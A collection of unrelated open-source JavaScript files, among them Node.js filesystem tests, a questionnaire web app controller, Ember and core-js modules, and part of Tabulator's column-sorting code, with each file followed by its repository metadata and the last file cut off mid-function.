'use strict'; // Test that fs.copyFile() respects file permissions. // Ref: https://github.com/nodejs/node/issues/26936 const common = require('../common'); if (!common.isWindows && process.getuid() === 0) common.skip('as this test should not be run as `root`'); if (common.isIBMi) common.skip('IBMi has a different access permission mechanism'); const tmpdir = require('../common/tmpdir'); tmpdir.refresh(); const assert = require('assert'); const fs = require('fs'); const path = require('path'); let n = 0; function beforeEach() { n++; const source = path.join(tmpdir.path, `source${n}`); const dest = path.join(tmpdir.path, `dest${n}`); fs.writeFileSync(source, 'source'); fs.writeFileSync(dest, 'dest'); fs.chmodSync(dest, '444'); const check = (err) => { const expected = ['EACCES', 'EPERM']; assert(expected.includes(err.code), `${err.code} not in ${expected}`); assert.strictEqual(fs.readFileSync(dest, 'utf8'), 'dest'); return true; }; return { source, dest, check }; } // Test synchronous API. { const { source, dest, check } = beforeEach(); assert.throws(() => { fs.copyFileSync(source, dest); }, check); } // Test promises API. { const { source, dest, check } = beforeEach(); (async () => { await assert.rejects(fs.promises.copyFile(source, dest), check); })(); } // Test callback API. { const { source, dest, check } = beforeEach(); fs.copyFile(source, dest, common.mustCall(check)); }
enclose-io/compiler
lts/test/parallel/test-fs-copyfile-respect-permissions.js
JavaScript
mit
1,468
function ApplicationManager(InputManager, Actuator, StorageManager, TranslationManager) { // initialize components this.inputManager = new InputManager(); this.actuator = new Actuator(); this.storageManager = new StorageManager(version); this.translationManager = new TranslationManager(this.inputManager, this.storageManager); // register event handlers this.inputManager.on("selectQuestionnaire", this.selectQuestionnaire.bind(this)); this.inputManager.on("startedQuestionnaireInitializion", this.addQuestionnaireToMenu.bind(this)); this.inputManager.on("startedAllQuestionnairesInitializion", this.allQuestionnairesInitialized.bind(this)); this.inputManager.on("languageInitialized", this.addLanguageToMenu.bind(this)); this.inputManager.on("allLanguageInitialized", this.allLanguageInitialized.bind(this)); this.inputManager.on("setQuestionnaireInfos", this.selectQuestionnaireInfos.bind(this)); this.inputManager.on("translateUI", this.translateUI.bind(this)); this.inputManager.on("newQuestion", this.generateNewQuestion.bind(this)); this.inputManager.on("newColor", this.newBackgroundColor.bind(this)); this.inputManager.on("setOption", this.setOption.bind(this)); this.inputManager.on("resetApplicationManager", this.resetApplicationManager.bind(this)); this.initializeApplicationManager(); window.addEventListener("hashchange", this.listen.bind(this)); } /* * Initialization */ ApplicationManager.prototype.initializeApplicationManager = function(){ // initialize variables this.addedLanguages = []; this.addedQuestionnaire = []; this.total_number_of_questions = {}; this.available_languages = {}; this.current_question_id = 0; this.currentTranslation = undefined; this.first_available_language = undefined; this.available_colors = [ "#6C7A89", "#95a5a6", "#ABB7B7", "#BDC3C7", "#D2527F", "#BF55EC", "#9b59b6", "#BE90D4", "#22A7F0", "#3498db", "#2980b9", "#3A539B", "#2ecc71", "#27ae60", "#1abc9c", "#16a085", "#f1c40f", "#f9bf3b", "#F5AB35", "#e9d460", "#E74C3C", "#F64747", "#e67e22", "#F2784B" ]; // bootstrap this.first_available_questionnaire = "proust"; this.translationManager.loadAvailableQuestionnaires(); this.actuator.showVersion(version); this.extractBrowserLanguage(); }; ApplicationManager.prototype.resetApplicationManager = function(){ this.storageManager.clear(); this.actuator.resetSelects(); this.initializeApplicationManager(); }; /* * Questionnaire related event handlers */ ApplicationManager.prototype.selectQuestionnaire = function(questionnaire){ this.currentQuestionnaire = questionnaire; var last_used_questionnaire = this.storageManager.getLastUsedQuestionnaire(); this.storageManager.setLastUsedQuestionnaire(questionnaire); this.actuator.resetLanguages(); // add languages available for the selected questionnaire var lns = this.available_languages[questionnaire]; this.addedLanguages = []; for(var i=0;i<lns.length;i++){ var ln = lns[i]; this.addLanguageToMenu(ln); } // in case the questionnaire changed, update the authorship, list and UI if(questionnaire != last_used_questionnaire){ var authors = JSON.parse(this.storageManager.getAuthorshipInformation(questionnaire)); var ln = lns.indexOf(this.currentTranslation) >= 0 ? this.currentTranslation : lns[0]; this.actuator.updateAuthorship(authors); this.actuator.fillQuestionList(this.total_number_of_questions[questionnaire]); this.actuator.selectLanguage(ln); this.translateUI(ln); } // select a new question this.generateNewQuestion(); }; ApplicationManager.prototype.addQuestionnaireToMenu = function(questionnaire) { if(this.addedQuestionnaire.indexOf(questionnaire) == -1){ this.actuator.addQuestionnaireToMenu(questionnaire, "questionnaire-" + questionnaire); this.addedQuestionnaire.push(questionnaire); } if(!this.first_available_questionnaire){ this.first_available_questionnaire = questionnaire; } }; ApplicationManager.prototype.allQuestionnairesInitialized = function(){ this.currentQuestionnaire = this.storageManager.getLastUsedQuestionnaire() || this.first_available_questionnaire; this.translationManager.loadAvailableUILanguages(); }; /* * Language related methods and event handlers */ ApplicationManager.prototype.extractBrowserLanguage = function(){ var res = []; // method one: check whether navigator languages is available if(navigator && navigator.languages){ var languages = navigator.languages; for(var i=0;i<languages.length;i++){ var ln = languages[i]; if(ln.indexOf("-") >= 0){ ln = ln.substr(0, ln.indexOf("-")); } if(res.indexOf(ln) == -1){ res.push(ln); } } } // method two: parse the userAgent by RegEx else if(navigator && navigator.userAgent){ var subln = navigator.userAgent.match(/[a-z]{2}-[a-z]{2}/); var ln2 = subln[0].substr(-2, 2); res.push(ln2); } this.browser_languages = res; }; ApplicationManager.prototype.allLanguageInitialized = function(){ var ln = this.storageManager.getLastUsedLanguage(); if(!ln){ for(var i=0;i < this.browser_languages.length; i++){ var tmp_ln = this.browser_languages[i]; if(this.translationManager.isLanguageSupported(tmp_ln)){ ln = tmp_ln; break; } } } if(!ln){ ln = this.first_available_language; } var questionnaire = this.storageManager.getLastUsedQuestionnaire() || this.first_available_questionnaire; this.bootstrapUI(questionnaire, ln); }; ApplicationManager.prototype.bootstrapUI = function(questionnaire, ln){ this.actuator.fillQuestionList(this.total_number_of_questions[questionnaire]); var authors = JSON.parse(this.storageManager.getAuthorshipInformation(questionnaire)); this.actuator.updateAuthorship(authors); this.translateUI(ln); this.generateNewQuestion(); this.listen(); this.actuator.selectQuestionnaire(questionnaire); this.actuator.selectLanguage(ln); var storedColor; if (this.storageManager.isSaveColor()){ storedColor = this.storageManager.getLastUsedColor(); } this.newBackgroundColor(storedColor); }; ApplicationManager.prototype.addLanguageToMenu = function(ln) { if(this.addedLanguages.indexOf(ln) == -1){ // register ln in language selection element this.actuator.addLanguageToMenu(ln); this.addedLanguages.push(ln); } // if it is the first entry, store it as default // (used if no saved ln is stored) if(!this.first_available_language){ this.first_available_language = ln; } }; ApplicationManager.prototype.selectQuestionnaireInfos = function(data) { if(data){ var available_languages = data.available_languages; var questionnaire = data.questionnaire; var num_of_question = data.number_of_questions; if(data.number_of_questions){ this.total_number_of_questions[questionnaire] = num_of_question; this.available_languages[questionnaire] = available_languages; } } }; ApplicationManager.prototype.generateNewQuestion = function() { var questionnaire = this.currentQuestionnaire; // select new question var new_id = this.current_question_id || 0; while (new_id == this.current_question_id) { new_id = Math.floor(Math.random() * this.total_number_of_questions[questionnaire]); } this.current_question_id = new_id; var new_id_class = "pad.question-" + new_id; // show new language in the UI devlog("Showing question with id '" + new_id + "'") this.actuator.setNewQuestion(new_id_class); this.translateUI(this.currentTranslation); }; /* * UI related event handlers */ ApplicationManager.prototype.listen = function() { switch(location.hash){ case "#random": this.showRandomQuestion(); break; case "#list": this.showListQuestion(); break; case "#!": case "": this.showMenu(); break; case "#popup-description": break; default: console.log("UnknownHashException: " + location.hash); } }; ApplicationManager.prototype.translateUI = function(ln) { var questionnaire = this.currentQuestionnaire; this.currentTranslation = ln; this.storageManager.setLastUsedLanguage(ln); this.translationManager.translate(questionnaire, ln); }; ApplicationManager.prototype.showMenu = function() { this.actuator.showMenu(); this.actuator.hideListQuestion(); this.actuator.hideRandomQuestion(); }; ApplicationManager.prototype.showRandomQuestion = function() { this.actuator.showRandomQuestion(); this.actuator.hideListQuestion(); this.actuator.hideMenu(); }; ApplicationManager.prototype.showListQuestion = function() { this.actuator.hideRandomQuestion(); this.actuator.showListQuestion(); this.actuator.hideMenu(); }; ApplicationManager.prototype.newBackgroundColor = function(color) { var next_color = color || this.available_colors[Math.floor(Math.random() * this.available_colors.length)]; this.storageManager.setLastUsedColor(next_color); this.actuator.changeBackgroundColor(next_color); }; ApplicationManager.prototype.setOption = function(data) { if (data.type == "saveColor") { this.storageManager.setSaveColor(data.value); } };
lsubel/amam
js/ApplicationManager.js
JavaScript
mit
9,455
/** Ember Routing Handlebars @module ember @submodule ember-routing-handlebars @requires ember-views */ import Ember from "ember-metal/core"; import EmberHandlebars from "ember-handlebars"; import { deprecatedLinkToHelper, linkToHelper, LinkView, queryParamsHelper } from "ember-routing-handlebars/helpers/link_to"; import { outletHelper, OutletView } from "ember-routing-handlebars/helpers/outlet"; import renderHelper from "ember-routing-handlebars/helpers/render"; import { ActionHelper, actionHelper } from "ember-routing-handlebars/helpers/action"; Ember.LinkView = LinkView; EmberHandlebars.ActionHelper = ActionHelper; EmberHandlebars.OutletView = OutletView; EmberHandlebars.registerHelper('render', renderHelper); EmberHandlebars.registerHelper('action', actionHelper); EmberHandlebars.registerHelper('outlet', outletHelper); EmberHandlebars.registerHelper('link-to', linkToHelper); EmberHandlebars.registerHelper('linkTo', deprecatedLinkToHelper); EmberHandlebars.registerHelper('query-params', queryParamsHelper); export default Ember;
fivetanley/ember.js
packages/ember-routing-handlebars/lib/main.js
JavaScript
mit
1,072
/* */ var $export = require('./_export'); $export($export.S, 'Array', {isArray: require('./_is-array')});
alexandre-spieser/AureliaAspNetCoreAuth
src/AureliaAspNetCoreAuth/wwwroot/jspm_packages/npm/core-js@2.1.0/modules/es6.array.is-array.js
JavaScript
mit
107
var assign = require('../Lib/assignDefined'); var Model = function(options, token) { this.data = {}; this.token = token; this.setAttributes(options); }; Model.prototype.setAttributes = function(options) { options = (options || {}); assign(this.data, { id: options.id, username: options.username }); }; Model.prototype.getToken = function() { return this.token; }; Model.prototype.isLoggedIn = function() { return !!this.token; }; module.exports = Model;
levic92/ReactNativeSampleApp
App/Models/CurrentUser.js
JavaScript
mit
483
'use strict'; module.exports = { remote: jest.genMockFunction() };
deep0892/jitendrachatbot
node_modules/chimp/dist/__mocks__/webdriverio.js
JavaScript
mit
69
import { expandProperties } from '..'; let foundProperties = []; function addProperty(property) { foundProperties.push(property); } QUnit.module('Property Brace Expansion Test', { beforeEach() { foundProperties = []; } }); QUnit.test('Properties without expansions are unaffected', function(assert) { assert.expect(1); expandProperties('a', addProperty); expandProperties('a.b', addProperty); expandProperties('a.b.[]', addProperty); expandProperties('a.b.@each.c', addProperty); assert.deepEqual(['a', 'a.b', 'a.b.[]', 'a.b.@each.c'].sort(), foundProperties.sort()); }); QUnit.test('A single expansion at the end expands properly', function(assert) { assert.expect(1); expandProperties('a.b.{c,d}', addProperty); assert.deepEqual(['a.b.c', 'a.b.d'].sort(), foundProperties.sort()); }); QUnit.test('A property with only a brace expansion expands correctly', function(assert) { assert.expect(1); expandProperties('{a,b,c}', addProperty); let expected = ['a', 'b', 'c']; assert.deepEqual(expected.sort(), foundProperties.sort()); }); QUnit.test('Expansions with single properties only expand once', function(assert) { assert.expect(1); expandProperties('a.b.{c}.d.{e}', addProperty); assert.deepEqual(['a.b.c.d.e'], foundProperties); }); QUnit.test('A single brace expansion expands correctly', function(assert) { assert.expect(1); expandProperties('a.{b,c,d}.e', addProperty); let expected = ['a.b.e', 'a.c.e', 'a.d.e']; assert.deepEqual(expected.sort(), foundProperties.sort()); }); QUnit.test('Multiple brace expansions work correctly', function(assert) { assert.expect(1); expandProperties('{a,b,c}.d.{e,f}.g', addProperty); let expected = ['a.d.e.g', 'a.d.f.g', 'b.d.e.g', 'b.d.f.g', 'c.d.e.g', 'c.d.f.g']; assert.deepEqual(expected.sort(), foundProperties.sort()); }); QUnit.test('A property with only brace expansions expands correctly', function(assert) { assert.expect(1); expandProperties('{a,b,c}.{d}.{e,f}', addProperty); let expected = ['a.d.e', 'a.d.f', 'b.d.e', 'b.d.f', 'c.d.e', 'c.d.f']; assert.deepEqual(expected.sort(), foundProperties.sort()); }); QUnit.test('Nested brace expansions are not allowed', function() { let nestedBraceProperties = [ 'a.{b.{c,d}}', 'a.{{b}.c}', 'a.{b,c}.{d.{e,f}.g', 'a.{b.{c}', 'a.{b,c}}', 'model.{bar,baz' ]; nestedBraceProperties.forEach((invalidProperties) => { expectAssertion(() => expandProperties(invalidProperties, addProperty)); }, /Brace expanded properties have to be balanced and cannot be nested/); }); QUnit.test('A property with no braces does not expand', function(assert) { assert.expect(1); expandProperties('a,b,c.d.e,f', addProperty); assert.deepEqual(foundProperties, ['a,b,c.d.e,f']); }); QUnit.test('A pattern must be a string', function(assert) { assert.expect(1); expectAssertion(() => { expandProperties([1, 2], addProperty); }, /A computed property key must be a string/); }); QUnit.test('A pattern must not contain a space', function(assert) { assert.expect(1); expectAssertion(function() { expandProperties('{a, b}', addProperty); }, /Brace expanded properties cannot contain spaces, e.g. "user.{firstName, lastName}" should be "user.{firstName,lastName}"/); });
kennethdavidbuck/ember.js
packages/ember-metal/tests/expand_properties_test.js
JavaScript
mit
3,300
var _ = require('lodash'); var Slap = require('./Slap'); var BaseForm = require('./BaseForm'); var BaseWidget = require('base-widget'); var Field = require('editor-widget').Field; var util = require('slap-util'); function BaseFindForm (opts) { var self = this; if (!(self instanceof BaseFindForm)) return new BaseFindForm(opts); BaseForm.call(self, _.merge({ prevEditorState: {} }, Slap.global.options.form.baseFind, opts)); self.findField = new Field(_.merge({ parent: self, top: 0, left: 0, right: 0 }, Slap.global.options.editor, Slap.global.options.field, self.options.findField)); } BaseFindForm.prototype.__proto__ = BaseForm.prototype; BaseFindForm.prototype.find = function (text, direction) { var self = this; self.screen.slap.header.message(null); if (text) self.emit('find', text, direction); else self.resetEditor(); return self; }; BaseFindForm.prototype.resetEditor = function () { var self = this; var prevEditorState = self.options.prevEditorState; var editor = self.pane.editor; if (prevEditorState.selection) editor.selection.setRange(prevEditorState.selection); if (prevEditorState.scroll) { editor.scroll = prevEditorState.scroll; editor._updateContent(); } }; BaseFindForm.prototype._initHandlers = function () { var self = this; var textBuf = self.findField.textBuf; var prevEditorState = self.options.prevEditorState; self.on('show', function () { var editor = self.pane.editor; if (!prevEditorState.selection) prevEditorState.selection = editor.selection.getRange(); if (!prevEditorState.scroll) prevEditorState.scroll = editor.scroll; self.findField.focus(); self.find(textBuf.getText()); }); self.on('hide', function () { if (!_.some(self.pane.forms, 'visible')) { prevEditorState.selection = null; prevEditorState.scroll = null; } }); textBuf.on('changed', function () { self.find(textBuf.getText()); }); self.findField.on('keypress', function (ch, key) { var text = textBuf.getText(); switch (self.resolveBinding(key)) { case 'next': self.find(text, 1); return false; case 'prev': self.find(text, -1); return false; }; }); return BaseForm.prototype._initHandlers.apply(self, arguments); }; module.exports = BaseFindForm;
freakynit/slap
lib/ui/BaseFindForm.js
JavaScript
mit
2,298
'use strict'; const common = require('../common'); const assert = require('assert'); const fs = require('fs'); const path = require('path'); const tmpdir = require('../common/tmpdir'); const testDir = tmpdir.path; const files = ['empty', 'files', 'for', 'just', 'testing']; // Make sure tmp directory is clean tmpdir.refresh(); // Create the necessary files files.forEach(function(filename) { fs.closeSync(fs.openSync(path.join(testDir, filename), 'w')); }); function assertDirent(dirent) { assert(dirent instanceof fs.Dirent); assert.strictEqual(dirent.isFile(), true); assert.strictEqual(dirent.isDirectory(), false); assert.strictEqual(dirent.isSocket(), false); assert.strictEqual(dirent.isBlockDevice(), false); assert.strictEqual(dirent.isCharacterDevice(), false); assert.strictEqual(dirent.isFIFO(), false); assert.strictEqual(dirent.isSymbolicLink(), false); } const dirclosedError = { code: 'ERR_DIR_CLOSED' }; const dirconcurrentError = { code: 'ERR_DIR_CONCURRENT_OPERATION' }; const invalidCallbackObj = { code: 'ERR_INVALID_CALLBACK', name: 'TypeError' }; // Check the opendir Sync version { const dir = fs.opendirSync(testDir); const entries = files.map(() => { const dirent = dir.readSync(); assertDirent(dirent); return dirent.name; }); assert.deepStrictEqual(files, entries.sort()); // dir.read should return null when no more entries exist assert.strictEqual(dir.readSync(), null); // check .path assert.strictEqual(dir.path, testDir); dir.closeSync(); assert.throws(() => dir.readSync(), dirclosedError); assert.throws(() => dir.closeSync(), dirclosedError); } // Check the opendir async version fs.opendir(testDir, common.mustCall(function(err, dir) { assert.ifError(err); let sync = true; dir.read(common.mustCall((err, dirent) => { assert(!sync); assert.ifError(err); // Order is operating / file system dependent assert(files.includes(dirent.name), `'files' should include ${dirent}`); assertDirent(dirent); let syncInner = true; dir.read(common.mustCall((err, dirent) => { assert(!syncInner); assert.ifError(err); dir.close(common.mustCall(function(err) { assert.ifError(err); })); })); syncInner = false; })); sync = false; })); // opendir() on file should throw ENOTDIR assert.throws(function() { fs.opendirSync(__filename); }, /Error: ENOTDIR: not a directory/); assert.throws(function() { fs.opendir(__filename); }, /TypeError \[ERR_INVALID_CALLBACK\]: Callback must be a function/); fs.opendir(__filename, common.mustCall(function(e) { assert.strictEqual(e.code, 'ENOTDIR'); })); [false, 1, [], {}, null, undefined].forEach((i) => { assert.throws( () => fs.opendir(i, common.mustNotCall()), { code: 'ERR_INVALID_ARG_TYPE', name: 'TypeError' } ); assert.throws( () => fs.opendirSync(i), { code: 'ERR_INVALID_ARG_TYPE', name: 'TypeError' } ); }); // Promise-based tests async function doPromiseTest() { // Check the opendir Promise version const dir = await fs.promises.opendir(testDir); const entries = []; let i = files.length; while (i--) { const dirent = await dir.read(); entries.push(dirent.name); assertDirent(dirent); } assert.deepStrictEqual(files, entries.sort()); // dir.read should return null when no more entries exist assert.strictEqual(await dir.read(), null); await dir.close(); } doPromiseTest().then(common.mustCall()); // Async iterator async function doAsyncIterTest() { const entries = []; for await (const dirent of await fs.promises.opendir(testDir)) { entries.push(dirent.name); assertDirent(dirent); } assert.deepStrictEqual(files, entries.sort()); // Automatically closed during iterator } doAsyncIterTest().then(common.mustCall()); // Async iterators should do automatic cleanup async function doAsyncIterBreakTest() { const dir = await fs.promises.opendir(testDir); for await (const dirent of dir) { // eslint-disable-line no-unused-vars break; } await assert.rejects(async () => dir.read(), dirclosedError); } doAsyncIterBreakTest().then(common.mustCall()); async function doAsyncIterReturnTest() { const dir = await fs.promises.opendir(testDir); await (async function() { for await (const dirent of dir) { // eslint-disable-line no-unused-vars return; } })(); await assert.rejects(async () => dir.read(), dirclosedError); } doAsyncIterReturnTest().then(common.mustCall()); async function doAsyncIterThrowTest() { const dir = await fs.promises.opendir(testDir); try { for await (const dirent of dir) { // eslint-disable-line no-unused-vars throw new Error('oh no'); } } catch (err) { if (err.message !== 'oh no') { throw err; } } await assert.rejects(async () => dir.read(), dirclosedError); } doAsyncIterThrowTest().then(common.mustCall()); // Check error thrown on invalid values of bufferSize for (const bufferSize of [-1, 0, 0.5, 1.5, Infinity, NaN]) { assert.throws( () => fs.opendirSync(testDir, { bufferSize }), { code: 'ERR_OUT_OF_RANGE' }); } for (const bufferSize of ['', '1', null]) { assert.throws( () => fs.opendirSync(testDir, { bufferSize }), { code: 'ERR_INVALID_ARG_TYPE' }); } // Check that passing a positive integer as bufferSize works { const dir = fs.opendirSync(testDir, { bufferSize: 1024 }); assertDirent(dir.readSync()); dir.close(); } // Check that when passing a string instead of function - throw an exception async function doAsyncIterInvalidCallbackTest() { const dir = await fs.promises.opendir(testDir); assert.throws(() => dir.close('not function'), invalidCallbackObj); } doAsyncIterInvalidCallbackTest().then(common.mustCall()); // Check if directory already closed - throw an exception async function doAsyncIterDirClosedTest() { const dir = await fs.promises.opendir(testDir); await dir.close(); assert.throws(() => dir.close(), dirclosedError); } doAsyncIterDirClosedTest().then(common.mustCall()); // Check that readSync() and closeSync() during read() throw exceptions async function doConcurrentAsyncAndSyncOps() { const dir = await fs.promises.opendir(testDir); const promise = dir.read(); assert.throws(() => dir.closeSync(), dirconcurrentError); assert.throws(() => dir.readSync(), dirconcurrentError); await promise; dir.closeSync(); } doConcurrentAsyncAndSyncOps().then(common.mustCall()); // Check that concurrent read() operations don't do weird things. async function doConcurrentAsyncOps() { const dir = await fs.promises.opendir(testDir); const promise1 = dir.read(); const promise2 = dir.read(); assertDirent(await promise1); assertDirent(await promise2); dir.closeSync(); } doConcurrentAsyncOps().then(common.mustCall()); // Check that concurrent read() + close() operations don't do weird things. async function doConcurrentAsyncMixedOps() { const dir = await fs.promises.opendir(testDir); const promise1 = dir.read(); const promise2 = dir.close(); assertDirent(await promise1); await promise2; } doConcurrentAsyncMixedOps().then(common.mustCall());
enclose-io/compiler
lts/test/parallel/test-fs-opendir.js
JavaScript
mit
7,224
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; /* Tabulator v4.1.4 (c) Oliver Folkerd */ var Sort = function Sort(table) { this.table = table; //hold Tabulator object this.sortList = []; //holder current sort this.changed = false; //has the sort changed since last render }; //initialize column header for sorting Sort.prototype.initializeColumn = function (column, content) { var self = this, sorter = false, colEl, arrowEl; switch (_typeof(column.definition.sorter)) { case "string": if (self.sorters[column.definition.sorter]) { sorter = self.sorters[column.definition.sorter]; } else { console.warn("Sort Error - No such sorter found: ", column.definition.sorter); } break; case "function": sorter = column.definition.sorter; break; } column.modules.sort = { sorter: sorter, dir: "none", params: column.definition.sorterParams || {}, startingDir: column.definition.headerSortStartingDir || "asc" }; if (column.definition.headerSort !== false) { colEl = column.getElement(); colEl.classList.add("tabulator-sortable"); arrowEl = document.createElement("div"); arrowEl.classList.add("tabulator-arrow"); //create sorter arrow content.appendChild(arrowEl); //sort on click colEl.addEventListener("click", function (e) { var dir = "", sorters = [], match = false; if (column.modules.sort) { dir = column.modules.sort.dir == "asc" ? "desc" : column.modules.sort.dir == "desc" ? "asc" : column.modules.sort.startingDir; if (self.table.options.columnHeaderSortMulti && (e.shiftKey || e.ctrlKey)) { sorters = self.getSort(); match = sorters.findIndex(function (sorter) { return sorter.field === column.getField(); }); if (match > -1) { sorters[match].dir = sorters[match].dir == "asc" ? "desc" : "asc"; if (match != sorters.length - 1) { sorters.push(sorters.splice(match, 1)[0]); } } else { sorters.push({ column: column, dir: dir }); } //add to existing sort self.setSort(sorters); } else { //sort by column only self.setSort(column, dir); } self.table.rowManager.sorterRefresh(); } }); } }; //check if the sorters have changed since last use Sort.prototype.hasChanged = function () { var changed = this.changed; this.changed = false; return changed; }; //return current sorters Sort.prototype.getSort = function () { var self = this, sorters = []; self.sortList.forEach(function (item) { if (item.column) { sorters.push({ column: item.column.getComponent(), field: item.column.getField(), dir: item.dir }); } }); return sorters; }; //change sort list and trigger sort Sort.prototype.setSort = function (sortList, dir) { var self = this, newSortList = []; if (!Array.isArray(sortList)) { sortList = [{ column: sortList, dir: dir }]; } sortList.forEach(function (item) { var column; column = self.table.columnManager.findColumn(item.column); if (column) { item.column = column; newSortList.push(item); self.changed = true; } else { console.warn("Sort Warning - Sort field does not exist and is being ignored: ", item.column); } }); self.sortList = newSortList; if (this.table.options.persistentSort && this.table.modExists("persistence", true)) { this.table.modules.persistence.save("sort"); } }; //clear sorters Sort.prototype.clear = function () { this.setSort([]); }; //find appropriate sorter for column Sort.prototype.findSorter = function (column) { var row = this.table.rowManager.activeRows[0], sorter = "string", field, value; if (row) { row = row.getData(); field = column.getField(); if (field) { value = column.getFieldValue(row); switch (typeof value === "undefined" ? "undefined" : _typeof(value)) { case "undefined": sorter = "string"; break; case "boolean": sorter = "boolean"; break; default: if (!isNaN(value) && value !== "") { sorter = "number"; } else { if (value.match(/((^[0-9]+[a-z]+)|(^[a-z]+[0-9]+))+$/i)) { sorter = "alphanum"; } } break; } } } return this.sorters[sorter]; }; //work through sort list sorting data Sort.prototype.sort = function () { var self = this, lastSort, sortList; sortList = this.table.options.sortOrderReverse ? self.sortList.slice().reverse() : self.sortList; if (self.table.options.dataSorting) { self.table.options.dataSorting.call(self.table, self.getSort()); } self.clearColumnHeaders(); if (!self.table.options.ajaxSorting) { sortList.forEach(function (item, i) { if (item.column && item.column.modules.sort) { //if no sorter has been defined, take a guess if (!item.column.modules.sort.sorter) { item.column.modules.sort.sorter = self.findSorter(item.column); } self._sortItem(item.column, item.dir, sortList, i); } self.setColumnHeader(item.column, item.dir); }); } else { sortList.forEach(function (item, i) { self.setColumnHeader(item.column, item.dir); }); } if (self.table.options.dataSorted) { self.table.options.dataSorted.call(self.table, self.getSort(), self.table.rowManager.getComponents(true)); } }; //clear sort arrows on columns Sort.prototype.clearColumnHeaders = function () { this.table.columnManager.getRealColumns().forEach(function (column) { if (column.modules.sort) { column.modules.sort.dir = "none"; column.getElement().setAttribute("aria-sort", "none"); } }); }; //set the column header sort direction Sort.prototype.setColumnHeader = function (column, dir) { column.modules.sort.dir = dir; column.getElement().setAttribute("aria-sort", dir); }; //sort each item in sort list Sort.prototype._sortItem = function (column, dir, sortList, i) { var self = this; var activeRows = self.table.rowManager.activeRows; var params = typeof column.modules.sort.params === "function" ? column.modules.sort.params(column.getComponent(), dir) : column.modules.sort.params; activeRows.sort(function (a, b) { var result = self._sortRow(a, b, column, dir, params); //if results match recurse through previous searchs to be sure if (result === 0 && i) { for (var j = i - 1; j >= 0; j--) { result = self._sortRow(a, b, sortList[j].column, sortList[j].dir, params); if (result !== 0) { break; } } } return result; }); }; //process individual rows for a sort function on active data Sort.prototype._sortRow = function (a, b, column, dir, params) { var el1Comp, el2Comp, colComp; //switch elements depending on search direction var el1 = dir == "asc" ? a : b; var el2 = dir == "asc" ? b : a; a = column.getFieldValue(el1.getData()); b = column.getFieldValue(el2.getData()); a = typeof a !== "undefined" ? a : ""; b = typeof b !== "undefined" ? b : ""; el1Comp = el1.getComponent(); el2Comp = el2.getComponent(); return column.modules.sort.sorter.call(this, a, b, el1Comp, el2Comp, column.getComponent(), dir, params); }; //default data sorters Sort.prototype.sorters = { //sort numbers number: function number(a, b, aRow, bRow, column, dir, params) { var alignEmptyValues = params.alignEmptyValues; var emptyAlign = 0; a = parseFloat(String(a).replace(",", "")); b = parseFloat(String(b).replace(",", "")); //handle non numeric values if (isNaN(a)) { emptyAlign = isNaN(b) ? 0 : -1; } else if (isNaN(b)) { emptyAlign = 1; } else { //compare valid values return a - b; } //fix empty values in position if (alignEmptyValues === "top" && dir === "desc" || alignEmptyValues === "bottom" && dir === "asc") { emptyAlign *= -1; } return emptyAlign; }, //sort strings string: function string(a, b, aRow, bRow, column, dir, params) { var alignEmptyValues = params.alignEmptyValues; var emptyAlign = 0; var locale; //handle empty values if (!a) { emptyAlign = !b ? 0 : -1; } else if (!b) { emptyAlign = 1; } else { //compare valid values switch (_typeof(params.locale)) { case "boolean": if (params.locale) { locale = this.table.modules.localize.getLocale(); } break; case "string": locale = params.locale; break; } return String(a).toLowerCase().localeCompare(String(b).toLowerCase(), locale); } //fix empty values in position if (alignEmptyValues === "top" && dir === "desc" || alignEmptyValues === "bottom" && dir === "asc") { emptyAlign *= -1; } return emptyAlign; }, //sort date date: function date(a, b, aRow, bRow, column, dir, params) { if (!params.format) { params.format = "DD/MM/YYYY"; } return this.sorters.datetime.call(this, a, b, aRow, bRow, column, dir, params); }, //sort hh:mm formatted times time: function time(a, b, aRow, bRow, column, dir, params) { if (!params.format) { params.format = "hh:mm"; } return this.sorters.datetime.call(this, a, b, aRow, bRow, column, dir, params); }, //sort datetime datetime: function datetime(a, b, aRow, bRow, column, dir, params) { var format = params.format || "DD/MM/YYYY hh:mm:ss", alignEmptyValues = params.alignEmptyValues, emptyAlign = 0; if (typeof moment != "undefined") { a = moment(a, format); b = moment(b, format); if (!a.isValid()) { emptyAlign = !b.isValid() ? 0 : -1; } else if (!b.isValid()) { emptyAlign = 1; } else { //compare valid values return a - b; } //fix empty values in position if (alignEmptyValues === "top" && dir === "desc" || alignEmptyValues === "bottom" && dir === "asc") { emptyAlign *= -1; } return emptyAlign; } else { console.error("Sort Error - 'datetime' sorter is dependant on moment.js"); } }, //sort booleans boolean: function boolean(a, b, aRow, bRow, column, dir, params) { var el1 = a === true || a === "true" || a === "True" || a === 1 ? 1 : 0; var el2 = b === true || b === "true" || b === "True" || b === 1 ? 1 : 0; return el1 - el2; }, //sort if element contains any data array: function array(a, b, aRow, bRow, column, dir, params) { var el1 = 0; var el2 = 0; var type = params.type || "length"; var alignEmptyValues = params.alignEmptyValues; var emptyAlign = 0; function calc(value) { switch (type) { case "length": return value.length; break; case "sum": return value.reduce(function (c, d) { return c + d; }); break; case "max": return Math.max.apply(null, value); break; case "min": return Math.min.apply(null, value); break; case "avg": return value.reduce(function (c, d) { return c + d; }) / value.length; break; } } //handle non array values if (!Array.isArray(a)) { alignEmptyValues = !Array.isArray(b) ? 0 : -1; } else if (!Array.isArray(b)) { alignEmptyValues = 1; } else { //compare valid values el1 = a ? calc(a) : 0; el2 = b ? calc(b) : 0; return el1 - el2; } //fix empty values in position if (alignEmptyValues === "top" && dir === "desc" || alignEmptyValues === "bottom" && dir === "asc") { emptyAlign *= -1; } return emptyAlign; }, //sort if element contains any data exists: function exists(a, b, aRow, bRow, column, dir, params) { var el1 = typeof a == "undefined" ? 0 : 1; var el2 = typeof b == "undefined" ? 0 : 1; return el1 - el2; }, //sort alpha numeric strings alphanum: function alphanum(as, bs, aRow, bRow, column, dir, params) { var a, b, a1, b1, i = 0, L, rx = /(\d+)|(\D+)/g, rd = /\d/; var alignEmptyValues = params.alignEmptyValues; var emptyAlign = 0; //handle empty values if (!as && as !== 0) { emptyAlign = !bs && bs !== 0 ? 0 : -1; } else if (!bs && bs !== 0) { emptyAlign = 1; } else { if (isFinite(as) && isFinite(bs)) return as - bs; a = String(as).toLowerCase(); b = String(bs).toLowerCase(); if (a === b) return 0; if (!(rd.test(a) && rd.test(b))) return a > b ? 1 : 